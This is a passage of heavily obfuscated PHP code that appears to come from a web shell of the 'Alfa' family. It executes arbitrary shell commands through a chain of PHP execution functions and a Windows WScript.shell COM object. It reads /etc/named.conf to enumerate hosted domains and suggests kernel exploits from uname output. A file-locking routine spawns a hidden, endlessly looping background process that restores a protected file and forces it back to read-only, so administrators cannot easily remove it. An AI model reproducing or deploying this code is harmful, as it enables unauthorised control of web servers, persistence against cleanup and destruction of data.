${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fhmu\x73\x77h\x6b\x78x"]} . "\"\x20|\x20pa\x73s\x77d " . ${$snjesqrgx} . "\""); } else { echo "\x3cm\x65t\x61 \x68t\x74p-\x65\x71ui\x76\x3d\"re\x66r\x65\x73h\" \x63ont\x65nt=\x220;url=?\x64=" . hx(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x6e\x78\x6a\x70\x64u\x6f\x6c"]}[0]()) . "&\x61\x64d\x75s\x65\x72=\x66\x61\x69l\x65d\x22>"; } } } else if ($_POST["\x6co\x63\x6b\x66i\x6ce"] == true) { ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x67\x64o\x72\x74\x63"] = "\x68ndl\x65\x72\x73"; $cxichofrfpho = "h\x6e\x64\x6c\x65\x72s"; ${"\x47\x4c\x4fB\x41L\x53"}["\x77\x75p\x76\x72l\x73\x79\x68jk"] = "\x68\x61nd\x6c\x65r"; $jjwvypro = "\x66l\x65\x73\x4e\x61\x6d\x65"; $moysjvktwc = "\x66u\x6e\x67\x73i"; ${"\x47\x4cO\x42\x41\x4cS"}["t\x6e\x65\x75v\x6c"] = "\x66\x75\x6e\x67s\x69"; $gnyihl = "\x66\x6c\x65sN\x61\x6de"; ${"\x47\x4c\x4f\x42A\x4c\x53"}["dl\x6ai\x64\x77\x73\x65\x7a\x69"] = "\x54\x6dp\x4ea\x6d\x65s"; $gekesqmsi = "\x66lesN\x61\x6de"; $wzsgwh = "\x66\x6c\x65\x73\x4e\x61me"; $rsebcsqvk = "\x66un\x67\x73\x69"; ${"\x47L\x4fBALS"}["\x63\x64uz\x65x\x66\x77\x63r\x79"] = "\x54\x6d\x70Na\x6d\x65\x73"; $yyhjqlb = "\x66\x75n\x67\x73i"; $yvfdddxa = "\x66\x75n\x67\x73\x69"; ${$jjwvypro} = $_POST["lo\x63kf\x69\x6ce"]; ${${"\x47\x4c\x4f\x42\x41LS"}["d\x6c\x6a\x69d\x77\x73\x65\x7ai"]} = ${${"GLO\x42\x41\x4c\x53"}["\x73n\x78\x6a\x70\x64u\x6f\x6c"]}[31](); $rzhnqvtsnc = "f\x6ce\x73N\x61m\x65"; if (file_exists(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ef\x6f\x64b\x64\x65\x6a"]} . "/\x2e\x73es\x73ion\x73/." . base64_encode(${$rsebcsqvk}[0]() . remove_dot(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x68\x69\x6d\x62ug\x74\x71\x6c"]}) . "-\x68a\x6e\x64l\x65r")) && file_exists(${${"\x47\x4cO\x42A\x4c\x53"}["\x6efod\x62\x64ej"]} . "/\x2e\x73e\x73si\x6fns/." . remove_dot(${$wzsgwh}) . "-\x74\x65\x78\x74")) { $rlgzkhpyjs = "\x66\x75n\x67\x73\x69"; ${"\x47\x4c\x4fB\x41L\x53"}["\x64\x69\x71y\x69j\x6c"] = "\x54mp\x4e\x61\x6d\x65s"; $vdjkeffd = "\x66\x75n\x67\x73i"; cmd("r\x6d -rf\x20" . ${${"\x47\x4c\x4f\x42ALS"}["\x64\x69\x71\x79\x69\x6a\x6c"]} . "/\x2es\x65\x73si\x6fn\x73/." . base64_encode(${$vdjkeffd}[0]() . remove_dot(${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x68i\x6dbug\x74q\x6c"]}) . "-tex\x74-\x66\x69le")); cmd("rm\x20-rf\x20" . ${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/\x2e\x73\x65\x73s\x69\x6f\x6e\x73/." . base64_encode(${$rlgzkhpyjs}[0]() . remove_dot(${${"\x47\x4cOB\x41\x4c\x53"}["\x76\x68\x69\x6d\x62\x75\x67\x74ql"]}) . "-\x68and\x6ce\x72")); } mkdir(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x66o\x64b\x64\x65\x6a"]} . "/\x2e\x73essions"); ${"G\x4c\x4f\x42AL\x53"}["\x76\x62p\x79\x63\x72xw"] = "\x66l\x65s\x4e\x61\x6d\x65"; ${"\x47\x4cOB\x41\x4c\x53"}["\x76\x71\x77wm\x78\x66\x6b\x65\x62q"] = "\x66\x75ngs\x69"; cmd("\x63p $flesName\x20" . ${${"\x47\x4c\x4fB\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64\x65\x6a"]} . "/\x2e\x73\x65ss\x69\x6f\x6es/\x2e" . base64_encode(${${"\x47\x4c\x4fB\x41\x4c\x53"}["s\x6exj\x70\x64\x75\x6fl"]}[0]() . remove_dot(${$rzhnqvtsnc}) . "-te\x78\x74-f\x69le")); chmod(${$gnyihl}, 0444); ${${"\x47L\x4f\x42A\x4c\x53"}["\x77\x75p\x76r\x6c\x73yh\x6ak"]} = "\n\x3c?\x70\x68p\n@ini\x5f\x73e\x74(\x22\x6d\x61\x78\x5f\x65xecut\x69\x6f\x6e\x5ft\x69\x6d\x65\x22,\x20\x30);\n\x77\x68ile\x20(Tr\x75e){\n\x20 \x20\x69\x66 (\x21\x66ile\x5f\x65\x78\x69st\x73(\x22" . ${$yvfdddxa}[0]() . "\x22)){\n\x20 \x20\x20 \x6d\x6bdir(\"" . ${${"GL\x4f\x42\x41\x4c\x53"}["\x73nxj\x70\x64u\x6f\x6c"]}[0]() . "\x22);\n\x20\x20 }\n\x20\x20\x20 \x69f\x20(\x21fil\x65\x5f\x65xis\x74\x73(\x22" . ${${"\x47\x4cOB\x41LS"}["\x74\x6e\x65\x75\x76l"]}[0]() . "/" . ${${"G\x4c\x4f\x42A\x4c\x53"}["\x76h\x69\x6db\x75\x67\x74ql"]} . "\")){\n \x20\x20 \x20 \$te\x78t =\x20\x62a\x73e6\x34_\x65ncod\x65(\x66ile_\x67e\x74\x5f\x63on\x74en\x74s(\"" . ${${"\x47L\x4fB\x41L\x53"}["n\x66\x6f\x64b\x64e\x6a"]} . "/.s\x65s\x73\x69\x6fns/." . base64_encode(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["sn\x78\x6apd\x75ol"]}[0]() . remove_dot(${${"\x47\x4c\x4fB\x41\x4cS"}["v\x68\x69\x6db\x75\x67\x74\x71\x6c"]}) . "-\x74ext-f\x69l\x65") . "\"));\n\x20\x20 \x20 \x20\x66ile\x5fp\x75t_c\x6f\x6et\x65n\x74\x73(\"" . ${$moysjvktwc}[0]() . "/" . ${$gekesqmsi} . "\", \x62as\x65\x364_deco\x64\x65(\$\x74ext));\n \x20 }\n \x20\x20\x69\x66\x20(g\x65\x63\x6bo\x5f\x70e\x72m(\"" . ${${"G\x4cOBA\x4c\x53"}["\x73\x6ex\x6ap\x64u\x6f\x6c"]}[0]() . "/" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76h\x69\x6db\x75\x67\x74\x71l"]} . "\x22) \x21=\x2004\x34\x34){\n\x20 \x20 \x20\x20chmo\x64(\"" . ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x71\x77wm\x78\x66\x6b\x65\x62\x71"]}[0]() . "/" . ${${"\x47L\x4f\x42A\x4c\x53"}["v\x62py\x63\x72\x78w"]} . "\",\x200\x34\x34\x34);\n \x20 \x20}\n}\n\nf\x75n\x63t\x69o\x6e\x20g\x65cko_p\x65rm(\$\x66l\x65n\x61m\x65){\n\x20\x20\x20\x20r\x65\x74\x75rn \x73\x75\x62st\x72(\x73pr\x69\x6e\x74f(\"\x25\x6f\x22, \x66\x69\x6ce\x70\x65\x72ms(\$\x66l\x65\x6eam\x65)), -4)\x3b\n}\n"; ${${"G\x4c\x4f\x42\x41\x4cS"}["\x68g\x64\x6f\x72\x74c"]} = ${$yyhjqlb}[28](${${"\x47\x4cOB\x41L\x53"}["\x63\x64\x75\x7a\x65\x78\x66\x77c\x72y"]} . "/\x2esessio\x6es/\x2e" . base64_encode(${${"\x47\x4c\x4f\x42ALS"}["\x73nxjp\x64\x75\x6f\x6c"]}[0]() . remove_dot(${${"\x47\x4cO\x42ALS"}["vh\x69\x6db\x75\x67\x74ql"]}) . "-\x68\x61\x6edle\x72") . "", ${${"\x47\x4cO\x42AL\x53"}["\x76\x6f\x67x\x79s"]}); if (${$cxichofrfpho}) { cmd("ph\x70\x20" . ${${"\x47LO\x42\x41LS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/.\x73\x65\x73\x73io\x6es/." . base64_encode(${${"\x47L\x4fB\x41\x4cS"}["snx\x6apduo\x6c"]}[0]() . remove_dot(${${"\x47\x4c\x4fBAL\x53"}["\x76\x68\x69\x6d\x62u\x67t\x71\x6c"]}) . "-\x68a\x6edl\x65r") . "\x20>\x20/\x64e\x76/\x6eul\x6c 2\x3e/d\x65v/\x6e\x75\x6c\x6c \x26"); } else { failed(); } } } function success() { echo "<\x6d\x65\x74a ht\x74p-\x65qu\x69v\x3d\"ref\x72\x65s\x68\" \x63on\x74\x65\x6et\x3d\"0\x3bu\x72\x6c\x3d?\x64=" . hx($GLOBALS["\x66\x75\x6e\x67\x73\x69"][0]()) . "\x26\x72es\x70\x6fnse\x3ds\x75\x63c\x65s\x73\">"; } function failed() { echo "\x3c\x6d\x65ta\x20\x68\x74\x74\x70-equ\x69\x76=\x22ref\x72e\x73\x68\" c\x6fn\x74\x65n\x74\x3d\"\x30;\x75rl=?d=" . hx($GLOBALS["f\x75n\x67s\x69"][0]()) . "&\x72esponse\x3dfai\x6c\x65\x64\x22>"; } function formatSize($bytes) { $irgjoi = "\x74\x79p\x65\x73"; ${"\x47LO\x42\x41\x4cS"}["\x64\x69\x70\x6f\x70\x71io"] = "\x62\x79t\x65s"; ${$irgjoi} = array("\x3c\x73\x70an\x20\x63l\x61s\x73\x3d\x22f\x69le-\x73i\x7a\x65\x22>\x42", "\x3c\x73\x70a\x6e\x20\x63\x6cass\x3d\x22fi\x6c\x65-\x73\x69ze\x22\x3eM\x42\x3c/\x73p\x61n>", "\x47B"); for (${${"\x47\x4c\x4fB\x41L\x53"}["s\x79\x67\x6cg\x6f\x67\x69\x72\x65"]} = 0; ${${"G\x4c\x4f\x42\x41\x4c\x53"}["v\x72\x71\x6dq\x76v\x6f"]} >= 1024 && ${${"\x47LOBA\x4cS"}["\x73yg\x6c\x67o\x67\x69\x72\x65"]} < (count(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6c\x6ab\x69\x6d\x6c"]}) - 1); ${${"\x47\x4cOBA\x4c\x53"}["\x64i\x70\x6f\x70\x71\x69\x6f"]} /= 1024, ${${"\x47\x4cOB\x41\x4cS"}["\x73\x79\x67\x6cg\x6f\x67\x69\x72\x65"]}++); return (round(${${"\x47\x4cO\x42AL\x53"}["\x76\x72\x71\x6d\x71v\x76\x6f"]}, 2) . "\x20" . ${${"G\x4cO\x42A\x4cS"}["t\x6cjb\x69\x6d\x6c"]}[${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x79g\x6c\x67\x6f\x67\x69\x72e"]}]); } function hx($n) { $letvlrhlzxe = "i"; $acfpucvhvd = "\x69"; ${${"G\x4c\x4fBALS"}["xcn\x74\x75\x78i\x66\x6c\x77"]} = ""; for (${$letvlrhlzxe} = 0; ${$acfpucvhvd} < strlen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x68k\x73\x71\x61\x69\x66"]}); ${${"\x47\x4c\x4fBAL\x53"}["\x73y\x67l\x67\x6f\x67\x69\x72\x65"]}++) { ${${"G\x4cO\x42A\x4c\x53"}["\x78c\x6e\x74ux\x69\x66\x6cw"]} .= dechex(ord(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71h\x6b\x73\x71aif"]}[${${"\x47\x4c\x4fB\x41L\x53"}["\x73\x79\x67\x6c\x67o\x67\x69r\x65"]}])); } return ${${"\x47\x4c\x4f\x42\x41LS"}["\x78c\x6e\x74ux\x69f\x6c\x77"]}; } function unx($y) { ${"\x47\x4cOB\x41L\x53"}["\x65vbpw\x6eu"] = "\x79"; ${${"\x47L\x4f\x42A\x4c\x53"}["qh\x6b\x73q\x61\x69\x66"]} = ""; ${"\x47\x4cO\x42\x41L\x53"}["\x6c\x6eeg\x67\x73fy\x62z"] = "\x69"; for (${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6cn\x65\x67gs\x66\x79b\x7a"]} = 0; ${${"G\x4cOB\x41\x4cS"}["s\x79g\x6cg\x6fgi\x72\x65"]} < strlen(${${"\x47\x4c\x4fB\x41LS"}["\x65vbp\x77nu"]}) - 1; ${${"\x47\x4c\x4f\x42AL\x53"}["\x73\x79\x67\x6c\x67\x6fg\x69\x72\x65"]} += 2) { $dsskas = "i"; $fznghhqgmy = "\x79"; $wsgjklsdlmh = "y"; ${${"G\x4cO\x42\x41\x4c\x53"}["\x71h\x6b\x73\x71\x61\x69\x66"]} .= chr(hexdec(${$wsgjklsdlmh}[${$dsskas}] . ${$fznghhqgmy}[${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x79g\x6c\x67\x6f\x67\x69\x72\x65"]} + 1])); } return ${${"GL\x4f\x42\x41LS"}["q\x68\x6b\x73\x71a\x69f"]}; } function suggest_exploit() { ${"\x47LOB\x41\x4cS"}["\x64gz\x62f\x74zj\x75\x77\x6f"] = "un\x61\x6d\x65"; $scgjesnbs = "\x75\x6e\x61\x6d\x65"; ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["qfj\x75\x70\x7a\x73\x74\x73\x78"] = "x\x70\x6c\x64"; $qethrlp = "p\x6c"; ${${"G\x4cO\x42\x41L\x53"}["\x64\x67z\x62\x66\x74\x7a\x6a\x75\x77\x6f"]} = $GLOBALS["fun\x67\x73\x69"][8](); ${"G\x4c\x4fBA\x4c\x53"}["\x6b\x64\x69m\x76n\x7a\x73\x64\x72"] = "p\x6c"; ${${"G\x4cO\x42\x41L\x53"}["x\x76\x62\x6f\x76\x6e"]} = explode("\x20", ${$scgjesnbs}); ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x76\x6f\x71\x77\x70\x62e\x79\x68"]} = explode("-", ${${"\x47LO\x42\x41\x4c\x53"}["\x78\x76\x62\x6fv\x6e"]}[2]); ${$qethrlp} = explode(".", ${${"\x47LO\x42\x41L\x53"}["\x71\x66\x6a\x75p\x7as\x74\x73x"]}[0]); return ${${"GL\x4f\x42A\x4cS"}["yxx\x6al\x67b\x63\x79"]}[0] . "\x2e" . ${${"\x47\x4c\x4fB\x41LS"}["\x79\x78x\x6a\x6cg\x62\x63\x79"]}[1] . "." . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6b\x64im\x76n\x7as\x64r"]}[2]; } function s() { $vdgikwqorbx = "d\x30mains"; ${$vdgikwqorbx} = @$GLOBALS["f\x75ngs\x69"][7]("/e\x74\x63/\x6e\x61\x6de\x64.\x63o\x6ef", false); if (!${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x79\x71q\x76z\x78\x66\x77\x6e\x6c"]}) { $xrxbnliohoq = "\x64o\x6d"; ${$xrxbnliohoq} = "\x43\x61n\x74\x20Re\x61\x64 [ /e\x74\x63/n\x61m\x65\x64\x2econf\x20]"; $GLOBALS["n\x65ed\x5fto_\x75\x70dat\x65_h\x65\x61der"] = "t\x72\x75e"; } else { ${"\x47\x4c\x4f\x42\x41L\x53"}["m\x72v\x74\x67\x68\x79\x71\x77\x75"] = "d\x6f\x6d"; ${"G\x4c\x4f\x42A\x4cS"}["\x71\x70\x63\x6cqk\x75"] = "\x64\x30\x6d\x61i\x6es"; ${${"\x47\x4cO\x42\x41L\x53"}["ex\x6b\x77\x69u"]} = 0; foreach (${${"G\x4c\x4f\x42A\x4c\x53"}["\x71\x70\x63\x6c\x71ku"]} as ${${"\x47L\x4f\x42A\x4c\x53"}["\x6abx\x7a\x6d\x76s\x71nt\x6e"]}) { ${"G\x4cO\x42\x41\x4cS"}["\x63\x68\x78w\x76cx\x6a\x70"] = "\x64\x30main"; if (@strstr(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63h\x78w\x76\x63\x78j\x70"]}, "zo\x6ee")) { ${"\x47LOB\x41\x4cS"}["\x6dw\x65\x68\x74\x72\x69\x77w\x6d\x79"] = "\x64\x6f\x6d\x61i\x6e\x73"; $rvjwavibhni = "\x64\x6f\x6d\x61\x69n\x73"; preg_match_all("\x23\x7a\x6fn\x65 \x22(.*)\"\x23", ${${"G\x4cOB\x41\x4cS"}["\x6a\x62\x78\x7a\x6d\x76\x73\x71\x6e\x74\x6e"]}, ${$rvjwavibhni}); flush(); if (strlen(trim(${${"\x47L\x4f\x42\x41\x4c\x53"}["m\x77e\x68\x74r\x69w\x77\x6d\x79"]}[1][0])) > 2) { flush(); ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65x\x6b\x77i\x75"]}++; } } } ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x72\x76\x74\x67\x68y\x71wu"]} = "$count \x44o\x6da\x69\x6e"; } return ${${"\x47LO\x42\x41\x4c\x53"}["\x74\x63\x69\x72\x68\x66\x75l"]}; } function cmd($in, $re = false) { ${${"\x47\x4c\x4f\x42AL\x53"}["\x66\x74lw\x64h\x63\x6a\x6alb"]} = ""; try { $hvwbptfprwq = "\x69n"; if (${${"GLO\x42A\x4cS"}["\x79lnz\x6e\x73\x6e\x71\x62k\x76\x68"]}) ${${"\x47\x4c\x4fBA\x4c\x53"}["o\x70\x6c\x63d\x76\x70"]} = ${$hvwbptfprwq} . "\x202\x3e\x26\x31"; if (function_exists("\x65\x78\x65\x63")) { @$GLOBALS["\x66ungsi"][16](${${"GL\x4f\x42A\x4c\x53"}["\x6f\x70\x6c\x63\x64\x76\x70"]}, ${${"\x47\x4cO\x42\x41\x4cS"}["f\x74l\x77\x64\x68\x63jj\x6c\x62"]}); ${"\x47LO\x42\x41\x4cS"}["\x64\x63\x67\x79\x75q\x62\x6e"] = "\x6f\x75\x74"; ${${"GL\x4fB\x41\x4c\x53"}["\x64\x63\x67\x79\x75\x71\x62\x6e"]} = @join("\n", ${${"\x47L\x4f\x42A\x4c\x53"}["\x66t\x6c\x77d\x68c\x6a\x6a\x6c\x62"]}); } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) { $zbxdghsew = "\x6f\x75\x74"; ob_start(); @$GLOBALS["fungs\x69"][17](${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x70lc\x64\x76\x70"]}); ${$zbxdghsew} = ob_get_clean(); } elseif (function_exists("\x73\x79\x73\x74\x65\x6d")) { $npbiyvsnodo = "\x69\x6e"; ob_start(); @$GLOBALS["fu\x6eg\x73i"][18](${$npbiyvsnodo}); ${${"\x47\x4c\x4f\x42A\x4cS"}["\x66\x74l\x77\x64\x68\x63\x6aj\x6cb"]} = ob_get_clean(); } elseif (function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63")) { $djxmmjga = "\x69\x6e"; ${${"\x47L\x4f\x42\x41L\x53"}["\x66\x74\x6cw\x64\x68c\x6aj\x6c\x62"]} = $GLOBALS["fu\x6eg\x73\x69"][19](${$djxmmjga}); } elseif (function_exists("\x70\x6f\x70\x65\x6e") && function_exists("\x70\x63\x6c\x6f\x73\x65")) { ${"\x47\x4c\x4f\x42\x41LS"}["\x63\x6e\x66\x6f\x79\x72\x6c"] = "in"; if (is_resource(${${"GL\x4fB\x41\x4c\x53"}["\x72w\x70\x69\x6b\x62\x63\x77\x72g\x69"]} = @$GLOBALS["fu\x6egs\x69"][20](${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x6e\x66o\x79\x72\x6c"]}, "\x72"))) { ${"\x47L\x4f\x42A\x4c\x53"}["q\x6b\x7ac\x6dq\x71\x6b\x66\x6b"] = "\x66"; ${"G\x4cOB\x41LS"}["i\x74\x75q\x7a\x6e\x65\x64\x67\x69\x6d"] = "\x66"; ${${"\x47L\x4f\x42\x41\x4cS"}["\x66\x74\x6c\x77\x64\x68cj\x6alb"]} = ""; ${"\x47\x4c\x4f\x42A\x4c\x53"}["gf\x6c\x76\x78\x73\x72nf\x6f"] = "o\x75t"; while (!@feof(${${"GLO\x42\x41L\x53"}["r\x77\x70\x69\x6b\x62c\x77\x72\x67i"]})) ${${"GL\x4f\x42\x41\x4c\x53"}["\x67\x66l\x76xs\x72n\x66\x6f"]} .= fread(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x74\x75\x71\x7ane\x64\x67i\x6d"]}, 1024); $GLOBALS["\x66\x75\x6egs\x69"][21](${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71k\x7ac\x6d\x71\x71kfk"]}); } } elseif (function_exists("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) { $ujcfwptmp = "i\x6e"; ${"G\x4c\x4f\x42\x41L\x53"}["xa\x6b\x78\x74\x75\x62\x70\x77\x66"] = "\x70\x69p\x65\x73"; ${"\x47\x4cO\x42\x41LS"}["\x68opx\x73p\x65\x66"] = "\x70r\x6fc\x65ss"; $ubbytmnb = "out"; ${${"G\x4cO\x42\x41\x4c\x53"}["\x78\x61k\x78t\x75bpwf"]} = array(); ${${"\x47L\x4fBA\x4c\x53"}["\x68o\x70\x78\x73\x70e\x66"]} = @$GLOBALS["f\x75ngs\x69"][23](${$ujcfwptmp} . "\x20\x32>&\x31", array(array("p\x69\x70\x65", "\x77"), array("pip\x65", "\x77"), array("pipe", "\x77")), ${${"\x47\x4c\x4fB\x41L\x53"}["y\x71\x64\x6b\x77iy\x64"]}, null); ${$ubbytmnb} = @$GLOBALS["\x66\x75\x6eg\x73\x69"][22](${${"G\x4c\x4f\x42A\x4cS"}["\x79\x71\x64\x6b\x77\x69\x79\x64"]}[1]); } elseif (class_exists("\x43\x4fM")) { $gplhjlxmqncr = "a\x6c\x66\x61\x57\x73"; ${"\x47L\x4f\x42\x41L\x53"}["t\x77\x71\x6bs\x75\x6bb\x76\x64"] = "s\x74\x64\x6f\x75\x74"; ${$gplhjlxmqncr} = new COM("WS\x63\x72i\x70\x74.s\x68e\x6c\x6c"); ${${"\x47L\x4f\x42A\x4c\x53"}["\x65\x78v\x71\x62\x6f\x64\x65\x71c\x63"]} = $alfaWs->$GLOBALS["\x66\x75n\x67si"][16]("\x63\x6d\x64\x2ee\x78\x65\x20/c\x20" . $_POST["al\x66\x611"]); ${${"\x47\x4c\x4f\x42AL\x53"}["\x74w\x71\x6b\x73\x75\x6bb\x76\x64"]} = $exec->StdOut(); ${${"G\x4c\x4fBA\x4cS"}["\x66\x74\x6c\x77dh\x63\x6a\x6a\x6cb"]} = $stdout->ReadAll(); } } catch (Exception $e) { } return $out; } function unlinkDir($dir) { $mxcxuhqbgj = "\x69"; ${${"GL\x4f\x42A\x4c\x53"}["h\x6f\x61p\x6b\x77\x68\x6d\x69"]} = array(${${"GL\x4f\x42\x41\x4c\x53"}["n\x6ag\x7a\x74\x70\x68\x6f"]}); ${${"GL\x4f\x42A\x4cS"}["\x73\x6fts\x75\x62\x64"]} = array(); $noonhxdh = "\x64ir"; ${"G\x4c\x4f\x42A\x4c\x53"}["\x77b\x70\x74v\x69x"] = "d\x69\x72\x73"; for (${${"\x47\x4cO\x42\x41LS"}["\x73y\x67\x6c\x67o\x67\x69r\x65"]} = 0;; ${$mxcxuhqbgj}++) { ${"GL\x4f\x42\x41LS"}["\x70dc\x66\x6c\x7a\x62"] = "d\x69\x72\x73"; if (isset(${${"\x47LOB\x41\x4c\x53"}["\x68\x6f\x61\x70kw\x68\x6d\x69"]}[${${"GLO\x42\x41L\x53"}["syg\x6cg\x6f\x67\x69\x72e"]}])) ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6e\x6a\x67\x7at\x70ho"]} = ${${"\x47\x4c\x4f\x42\x41LS"}["p\x64\x63\x66l\x7a\x62"]}[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["sy\x67\x6cg\x6fg\x69\x72\x65"]}]; else break; if (${${"\x47\x4cOBAL\x53"}["\x6c\x62\x64\x79\x6c\x69\x72"]} = opendir(${${"GL\x4f\x42A\x4cS"}["njg\x7a\x74\x70\x68\x6f"]})) { $mfttjdr = "\x72e\x61\x64D\x69\x72"; $mfdlwx = "\x6fp\x65n\x44\x69\x72"; while (${$mfttjdr} = @readdir(${$mfdlwx})) { if (${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6el\x71vcexc\x73\x71\x66"]} != "." && ${${"G\x4c\x4fB\x41L\x53"}["n\x6c\x71vc\x65x\x63s\x71\x66"]} != ".\x2e") { $tnlkxbt = "d\x69\x72"; if ($GLOBALS["f\x75\x6e\x67\x73i"][2](${$tnlkxbt} . "/" . ${${"G\x4c\x4fB\x41\x4c\x53"}["\x6e\x6cq\x76c\x65\x78\x63s\x71f"]})) { ${"\x47L\x4fB\x41\x4c\x53"}["\x6eno\x72\x78\x6cn\x7a"] = "\x64\x69\x72"; ${"\x47L\x4fBAL\x53"}["h\x71\x77r\x79ip"] = "\x72\x65\x61\x64\x44\x69r"; ${${"GL\x4f\x42\x41\x4c\x53"}["hoa\x70\x6b\x77\x68\x6di"]}[] = ${${"GLOBA\x4c\x53"}["\x6enor\x78l\x6e\x7a"]} . "/" . ${${"\x47LO\x42\x41\x4cS"}["hq\x77\x72\x79\x69\x70"]}; } else { $okajffecrpe = "\x66i\x6c\x65\x73"; ${"G\x4c\x4f\x42A\x4cS"}["\x73y\x78\x6eq\x68\x70\x6d"] = "\x64ir"; ${$okajffecrpe}[] = ${${"G\x4c\x4f\x42ALS"}["\x73\x79\x78n\x71\x68p\x6d"]} . "/" . ${${"\x47\x4cOB\x41L\x53"}["n\x6c\x71\x76\x63e\x78\x63\x73\x71\x66"]}; } } } } } foreach (${${"G\x4c\x4f\x42\x41\x4cS"}["s\x6f\x74sub\x64"]} as ${${"\x47\x4cO\x42\x41\x4c\x53"}["e\x75\x6a\x70\x71\x6d\x66"]}) { $GLOBALS["fun\x67s\x69"][24](${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["e\x75\x6a\x70\x71\x6df"]}); } ${${"G\x4cOB\x41\x4cS"}["\x68oapkw\x68\x6di"]} = array_reverse(${${"\x47L\x4f\x42\x41L\x53"}["\x77bptv\x69x"]}); foreach (${${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x6fa\x70\x6b\x77\x68\x6d\x69"]} as ${$noonhxdh}) { $cxcsfelbfhu = "\x64\x69r"; $GLOBALS["\x66ungsi"][25](${$cxcsfelbfhu}); } } function remove_dot($file) { ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ap\x66a\x69od\x77\x71\x6f"] = "\x46I\x4cES"; $dogkxkzkb = "\x46I\x4cE\x53"; ${$dogkxkzkb} = ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65\x75\x6a\x70\x71\x6d\x66"]}; $pudflfwtqsq = "\x70\x63h"; $jwcffcesuian = "p\x63\x68"; ${$pudflfwtqsq} = explode("\x2e", ${${"GL\x4f\x42AL\x53"}["\x6a\x70\x66\x61io\x64\x77\x71o"]}); return ${$jwcffcesuian}[0]; } function perms($file) { ${"\x47\x4c\x4fB\x41\x4cS"}["m\x75hifd\x62s\x7a\x70\x78"] = "\x70\x65\x72m\x73"; $budbfbkwgim = "in\x66\x6f"; ${"\x47\x4c\x4fBAL\x53"}["n\x69q\x6f\x73\x68"] = "p\x65rm\x73"; $vkfyefzxen = "\x70\x65\x72\x6ds"; $mshayo = "\x66\x69\x6ce"; $qyigwvd = "\x70\x65\x72m\x73"; ${${"G\x4cO\x42\x41LS"}["s\x6e\x75\x63\x77\x72\x6a\x78"]} = $GLOBALS["\x66u\x6egs\x69"][6](${$mshayo}); $yweukowba = "\x70\x65\x72\x6ds"; ${"GLO\x42\x41LS"}["\x65tu\x75r\x6al\x6a\x64"] = "p\x65\x72\x6ds"; ${"\x47L\x4fB\x41\x4c\x53"}["\x66p\x72\x75\x77\x68\x79\x6dp"] = "\x70\x65\x72\x6ds"; ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x6f\x71\x68\x73\x73\x6a\x65t\x65"] = "per\x6ds"; $vbbwezosh = "\x70erms"; $ydjzbkyoavu = "\x70\x65r\x6d\x73"; ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x78\x77\x78\x74\x78k"] = "\x69\x6ef\x6f"; $bopusfto = "\x69\x6e\x66\x6f"; ${"\x47\x4c\x4f\x42AL\x53"}["\x6b\x69\x72e\x79z"] = "\x69\x6e\x66\x6f"; ${"\x47L\x4f\x42A\x4c\x53"}["\x61\x68v\x78pr\x66"] = "pe\x72\x6d\x73"; ${"\x47\x4c\x4f\x42A\x4cS"}["\x64\x6dv\x66hx\x63\x68s"] = "i\x6e\x66o"; if ((${${"\x47\x4cO\x42\x41LS"}["\x73\x6e\x75\x63\x77rj\x78"]} & 0xC000) == 0xC000) { ${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x72\x72\x64f\x65\x69q\x70\x77"]} = "s"; } elseif ((${$yweukowba} & 0xA000) == 0xA000) { ${${"G\x4c\x4fBA\x4c\x53"}["\x77\x72\x72\x64\x66e\x69\x71\x70w"]} = "\x6c"; } elseif ((${$qyigwvd} & 0x8000) == 0x8000) { ${"G\x4cOBA\x4c\x53"}["\x6f\x7a\x76\x71v\x74\x6d\x7a\x6fa"] = "\x69\x6e\x66o"; ${${"G\x4c\x4f\x42\x41L\x53"}["ozv\x71v\x74\x6d\x7a\x6fa"]} = "-"; } elseif ((${$vkfyefzxen} & 0x6000) == 0x6000) { ${${"\x47\x4cOB\x41\x4c\x53"}["w\x72\x72d\x66e\x69\x71p\x77"]} = "b"; } elseif ((${$vbbwezosh} & 0x4000) == 0x4000) { 